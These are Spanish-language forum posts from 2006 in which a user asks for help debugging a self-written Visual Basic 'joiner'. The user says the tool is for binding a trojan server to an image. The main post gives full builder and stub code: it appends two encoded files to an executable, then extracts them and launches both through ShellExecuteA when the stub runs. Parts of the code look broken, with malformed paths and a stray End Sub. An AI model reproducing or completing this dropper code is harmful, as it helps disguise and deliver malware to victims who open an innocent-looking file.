|
123
|
Programación / Programación Visual Basic / Joiner simple(en que fallo??)
|
en: 17 Noviembre 2006, 21:59 pm
|
Hola,estoy un poco desesperado,estoy haciendo un joiner y no me va,asique pongo el code,a ver si vesi algun error: Private Sub Command1_Click() cd.ShowOpen Text1.Text = cd.FileName
End Sub Private Sub Command2_Click() cd.ShowOpen Text2.Text = cd.FileName
End Sub
Private Sub Command3_Click() Dim tamaño As String Dim total As String * 9 Dim encriptacion As String Dim extension1 As String * 4 Dim extension2 As String * 4 Dim tamaño2 As String Dim total2 As String * 9
Dim encriptacion2 As String Dim ruta As String cd.ShowSave ruta = cd.FileName FileCopy App.Path & "\hen.dll", ruta Open Text1.Text For Binary As #1 tamaño = LOF(1) Get #1, , tamaño Close #1 tamaño = HuffmanEncode(tamaño, True) total = Len(tamaño) Open Text2.Text For Binary As #1 tamaño2 = Space(LOF(1)) Get #1, , tamaño2 Close #1 tamaño2 = HuffmanEncode(tamaño2, True) total2 = Len(tamaño2)
extension1 = Right$(Text1.Text, 3) extension2 = Right$(Text2.Text, 3)
Open ruta For Binary As #1 Seek (1), LOF(1) + 1 Put #1, , tamaño Put #1, , tamaño2 Put #1, , total Put #1, , total2 Put #1, , extension1 Put #1, , extension2 Close #1 MsgBox "Archivos juntados!", , "Trébol Joiner v.1" End Sub
Private Sub CommandXP1_Click()
End Sub
Private Sub CommandXP4_Click() formjoin.Hide Form1.Show End Sub
End Sub ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' STUBB:
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim total As String * 9 Dim total2 As String * 9 Dim a2 As Long Dim b2 As Long Dim extension1 As String * 4 Dim extension2 As String * 4 Dim archivo1 As String Dim archivo2 As String
Dim tamaño As String Dim tamaño2 As String Dim desn1 As String Dim desn2 As String Dim ruta As String
ruta = App.Path & "\" & App.EXEName & ".exe" Open ruta For Binary As #1 Seek (1), LOF(1) - 25 Get #1, , total Get #1, , total2 Get #1, , extension1 Get #1, , extension2 Close #1 archivo1 = Trim(extension1) archivo2 = Trim(extension2) a2 = Trim(total) b2 = Trim(total2) tamaño = Space(total) tamaño2 = Space(total2)
Open ruta For Binary As #1 Seek (1), LOF(1) - (a2 + b2 + 25) Get #1, , tamaño Get #1, , tamaño2 Close #1
desn1 = HuffmanDecode(tamaño) desn2 = HuffmanDecode(tamaño2) Open ruta & "c:\uno" & "." & extension1 For Binary As #1 Put #1, , desn1 Close #1 Open ruta & "c:\dos" & "." & extension2 For Binary As #1 Put #1, , desn2 Close #1 ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos... ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1
End End Sub
Gracias y saludos.
|
|
|
124
|
Programación / Programación Visual Basic / Re: Problema joiner
|
en: 14 Noviembre 2006, 18:59 pm
|
No ya esta,xD.Una tonteria. todo este kodigo lo tienes en un modulo???todo el kode que me as pasado??? Salu2 No..xD,xD.Lo tengo en el form load,eso es otra cosa.Pero ya esta solucionado gracias. Saludos.
|
|
|
127
|
Programación / Programación Visual Basic / Problema joiner
|
en: 11 Noviembre 2006, 23:21 pm
|
La api shellexecuteA me da 'no se encontó el metodo o miembro de datos' eso me lo dice a .hWnd Que pasa?He mirado el code y esta bien. La api he hecho copiar pegar,y no puede ser que haya copiado mal o que en el sitio estuviera mal porque lo he hecho de sitios diferentes,y varias veces para ver si era eso. El hwnd esta perfectamente declarado.
|
|
|
128
|
Programación / Programación Visual Basic / Re: ProgressBar
|
en: 11 Noviembre 2006, 19:16 pm
|
Bueno me he quedado mas o menos con la idea,gracias CeLaYa. Por cierto,ya encontré lo del progressbar distinto,encontré un control de usuario que la barra era verde y otro azul y son distintos,si alguien lo quiere que lo pida. Saludos.
|
|
|
129
|
Programación / Programación Visual Basic / Re: ProgressBar
|
en: 11 Noviembre 2006, 17:32 pm
|
Un joiner junta varios archivos en uno,por ejemplo el server de un troyano con una imagen,mirate en troyanos y virus,Cactus joiner. Joiner=Binder. Es mi primer joiner,es muy cutre y junta solo dos archivos,pero es el primero,xD.Bueno a ver si alguien sabe sobre el progressbar. Saludos y gracias.
|
|
|
130
|
Programación / Programación Visual Basic / Re: ProgressBar
|
en: 11 Noviembre 2006, 13:56 pm
|
Se me acaba de ocurrir algo,pero creo que es un poco chapuza,por ejemplo cada cosa que haga el joiner,luego le añado que sume +10 el tamaño del progressbar,asi cuando haga la ultima funcion se completará.
|
|
|
|
|
|
|